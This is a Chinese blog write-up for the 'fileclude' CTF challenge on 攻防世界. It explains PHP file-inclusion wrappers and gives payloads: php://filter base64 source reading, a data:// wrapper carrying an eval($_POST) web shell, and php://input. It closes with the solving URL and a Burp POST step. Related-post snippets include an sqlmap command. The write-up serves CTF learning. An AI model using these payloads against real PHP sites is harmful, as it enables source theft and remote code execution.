攻防世界fileclude

蔚落 2024-04-03 10:55 15阅读 0赞

#### ![b6aedbd849d84ae39d36af35ec7a55f0.png][] ####

isset()函数用于检测变量是否已设置并且非NULL。  
php:/filter可以进行任意文件的读取，并进行base64编码输出，利用这种方法可以获得加密的网页源码  
用法: ?filename=php://filter/read=convert.base64-encode/resource=xxx.php  
data://:可以将内容写入到file变量中，通常可以用来执行PHP代码  
用法: ?file=data://text/plain，<?php eval($\_POST\[w\]);?)>  
php:1/input可以访问请求的原始数据的只读流，可以读取没有处理过的POST数据。用法: ?file=php:/linput POST:需要写入的数据  
当打开网页，分析代码，发现是文件包含的题目，当前文件包含flag.php文件。

构造url[ 61.147.171.105:65479][61.147.171.105_65479]?file1=php://filter/read=convert.base64-encode/resource=flag.php

&file2=php://input

然后用bp抓包将get方式改为post 在body处写入 hello ctf

![efede12131d94322a1802b493314e034.png][]

即可看到

![79616c46a4ee4e388c4ec5a6badb0dc6.png][]

最后再用base64解码

[b6aedbd849d84ae39d36af35ec7a55f0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/03/fabb8504450d439792d894f3e6ba6765.png
[61.147.171.105_65479]: http://61.147.171.105:65479/
[efede12131d94322a1802b493314e034.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/03/089ab37f5a024eaf8a3355db047ba884.png
[79616c46a4ee4e388c4ec5a6badb0dc6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/03/cb4ab2ee57a14718b1299d6116980bda.png

发表评论取消回复

表情：

评论列表（有 0 条评论，15人围观）

还没有评论，来说两句吧...

相关阅读

相关攻防世界fileclude

![b6aedbd849d84ae39d36af35ec7a55f0.png][] isset()函数用于检测变量是否已设置并且非NULL。 php:/f

蔚落/ 2024年04月03日 10:55/ 0 赞/ 16 阅读

相关攻防世界 inget

这是一道sql注入的题目可以使用kali上面的sqlmap 查询数据库类型 sqlmap -u "http://61.147.171.105:58130/index.

电玩女神/ 2024年04月03日 08:13/ 0 赞/ 13 阅读

相关攻防世界 php2

先用dirsearch扫目录可以扫出一个index.phps的文件 <?php if("admin"===$_GET[id]) { echo(

不念不忘少年蓝@/ 2024年04月03日 08:12/ 0 赞/ 10 阅读

相关攻防世界 get_post

进入网站后看到需要用get方式传一个参数a get方式传参数只能在url中传参因此构造 61.47.171.105:49411/?a=1 看到 ![ef650b9efe

川长思鸟来/ 2024年04月03日 08:00/ 0 赞/ 6 阅读

相关攻防世界 disabled_button

查看页面源代码后发现 ![c327027b6baf46499bf348d6c7814175.png][] 有个disabled\_class 标签,上网查看该标签的作用

Dear 丶/ 2024年04月03日 08:00/ 0 赞/ 17 阅读

相关攻防世界 cookie

cookie:指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。鼠标右键check(检查)网页,点击application(应

╰+哭是因爲堅強的太久メ/ 2024年04月03日 07:58/ 0 赞/ 12 阅读

相关攻防世界backup

掌握有关备份文件的知识常见的备份文件后缀名有: `.git .svn .swp .svn .~ .bak .bash_history` 使用扫目录脚本dirb(kali自

今天药忘吃喽~/ 2024年04月02日 03:39/ 0 赞/ 21 阅读

相关攻防世界 robots

Robots协议（也称为爬虫协议、机器人协议等）的全称是“网络爬虫排除标准”（Robots Exclusion Protocol），网站通过Robots协议告诉搜索引擎哪些页

今天药忘吃喽~/ 2024年04月02日 03:38/ 0 赞/ 19 阅读

相关 [攻防世界][CTF][2020][MISC] 攻防世界 MISC writeup

咕咕咕新手练习区精选write up https://blog.csdn.net/weixin\_43550772/article/details/106028357

你的名字/ 2023年01月09日 15:58/ 0 赞/ 125 阅读

相关逆向-攻防世界-CRACKME

查壳，然后直接OD，我们知道程序有弹窗，所以找messagebox弹窗函数 ![1524059-20190530230242302-721125840.png][] 分析

你的名字/ 2021年10月26日 15:38/ 0 赞/ 250 阅读